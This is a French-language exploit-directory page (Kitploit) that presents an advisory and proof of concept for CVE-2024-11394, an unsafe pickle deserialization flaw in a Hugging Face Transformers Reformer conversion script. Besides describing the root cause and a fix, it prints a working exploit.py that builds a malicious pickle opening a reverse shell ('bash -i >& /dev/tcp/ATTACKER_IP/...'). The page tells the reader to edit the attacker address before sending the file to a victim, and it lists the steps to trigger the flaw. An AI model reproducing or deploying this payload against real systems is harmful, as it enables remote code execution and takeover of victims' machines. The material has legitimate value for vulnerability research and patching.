Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-11394 — Détails techniques et exploit pour CVE-2024-11394 | Kitploit
Outils/GitHubGitHub/piyush-bhor/cve-2024-11394
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationSécurité de l'IA
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Détails techniques et exploit pour CVE-2024-11394

Voir le dépôt
33il y a 1 anPas encore vérifié
Partager

CVE-2024-11394

Vulnérabilité d'exécution de code à distance par désérialisation de données non fiables dans le modèle Trax de Hugging Face Transformers

Aperçu général et effets de la vulnérabilité :
La vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur la machine hôte en fournissant un fichier de point de contrôle reformer trax malveillant au script convert_reformer_trax_checkpoint_to_pytorch.py du dépôt Hugging Face Transformers.
Si un utilisateur peu méfiant utilise un fichier de point de contrôle reformer trax tiers, l'exécution du script convert_reformer_trax_checkpoint_to_pytorch.py entraînera une exécution de code à distance (RCE) sur le système de la victime.

Le produit vulnérable

  • Produit : Hugging Face Transformers
  • Module : Reformer
  • Fichier : transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Version : Dernière
  • Lien GitHub permanent : https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

Analyse de la cause racine

  • Description détaillée de la vulnérabilité : La vulnérabilité résulte d'une désérialisation non sécurisée de données non fiables. Le script utilise pickle.load pour charger le fichier de point de contrôle et est vulnérable à l'exécution de code.

  • Flux de code de l'entrée à la condition vulnérable :

  1. L'utilisateur télécharge un modèle reformer trax tiers.
  2. L'utilisateur exécute le script convert_reformer_trax_checkpoint_to_pytorch.py et lui transmet le fichier de point de contrôle.
  3. Le script convert_reformer_trax_checkpoint_to_pytorch.py désérialise le fichier de point de contrôle et exécute le code malveillant.
  • Point d'injection : La vulnérabilité se produit au moment où pickle.load est appelé. Lien GitHub permanent : https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • Corrections suggérées : Remplacer pickle.load par yaml.safe_load(yaml_file) ou json.load pour empêcher l'exécution de code arbitraire.

  • Instructions pour exécuter la preuve de concept :

  1. Exécutez exploit.py pour créer un fichier pickle malveillant malicious.pkl qui établira un shell inverse sur le système de la victime :
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Fichier pickle malveillant créé avec succès.")

Remarque : Modifiez ATTACKER_IP et ATTACKER_PORT avant d'envoyer le fichier à la victime.

  1. Créez un fichier de configuration config.json :
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. Exécutez le script convert_reformer_trax_checkpoint_to_pytorch.py et transmettez le fichier malicious.pkl à --trax_model_pkl_path :
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Remarque : Le pytorch_dump_folder_path peut être défini sur n'importe quel répertoire.

Lien de téléchargement du logiciel :
https://github.com/huggingface/transformers/tree/main

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    282

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →